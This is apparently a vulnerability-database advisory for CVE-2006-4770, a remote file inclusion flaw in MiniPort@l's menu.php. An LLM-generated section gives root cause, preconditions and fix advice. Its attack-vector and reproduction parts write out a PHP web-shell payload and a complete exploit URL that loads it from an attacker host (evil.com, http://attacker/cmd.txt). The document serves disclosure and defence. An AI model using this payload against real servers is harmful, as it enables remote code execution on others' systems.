VYPR
Unrated severityNVD Advisory· Published Sep 13, 2006· Updated Jun 16, 2026

CVE-2006-4770

CVE-2006-4770

Description

PHP remote file inclusion vulnerability in menu.php in MiniPort@l 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the skiny parameter.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2
  • cpe:2.3:a:miniportal:miniportal:*:*:*:*:*:*:*:*+ 1 more
    • cpe:2.3:a:miniportal:miniportal:*:*:*:*:*:*:*:*range: <=0.1.5
    • (no CPE)range: <=2.0

Patches

Vulnerability mechanics

Root cause

"Missing input validation in the `skiny` parameter of `menu.php` allows a remote URL to be passed to a PHP include statement, enabling remote file inclusion."

Attack vector

An attacker sends a crafted HTTP GET request to `dodatki/menu.php` with the `skiny` parameter set to a URL pointing to a remote PHP shell (e.g., `http://evil.com/cmd.txt`). The vulnerable script includes the remote file, executing its PHP code on the target server. The exploit script demonstrates this by appending `?&cmd=` to pass commands to the injected shell [ref_id=1]. No authentication is required, and the attack is performed over HTTP.

Affected code

The vulnerable file is `dodatki/menu.php` in MiniPort@l 2.0 and earlier. The `skiny` parameter is taken directly from the HTTP request and used in a PHP include/require statement without sanitization, allowing a remote attacker to supply a URL instead of a local file path [ref_id=1].

What the fix does

No patch is included in the bundle. The advisory does not specify a fix, but the vulnerability class (remote file inclusion) is typically remediated by validating that the `skiny` parameter contains only an expected local path, not a URL, and by disabling `allow_url_include` in PHP configuration. Without a published patch, users should upgrade to a version beyond 2.0 or apply input validation manually.

Preconditions

  • configThe target must be running MiniPort@l version 2.0 or earlier.
  • configPHP's allow_url_include must be enabled (default in older PHP versions).
  • authNo authentication is required; the vulnerable endpoint is publicly accessible.
  • networkAttacker must have network access to the target web server.
  • inputAttacker supplies a URL in the 'skiny' parameter pointing to a remote PHP payload.

Reproduction

1. Prepare a remote PHP shell file (e.g., `cmd.txt` containing `&lt;?passthru($_GET[cmd]);?&gt;`) and host it on an attacker-controlled web server. 2. Send a GET request to the target: `http://target/MiniPort@l/dodatki/menu.php?skiny=http://attacker/cmd.txt?&amp;cmd=id`. 3. The output of the `id` command will appear in the HTTP response, confirming remote code execution [ref_id=1].

Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.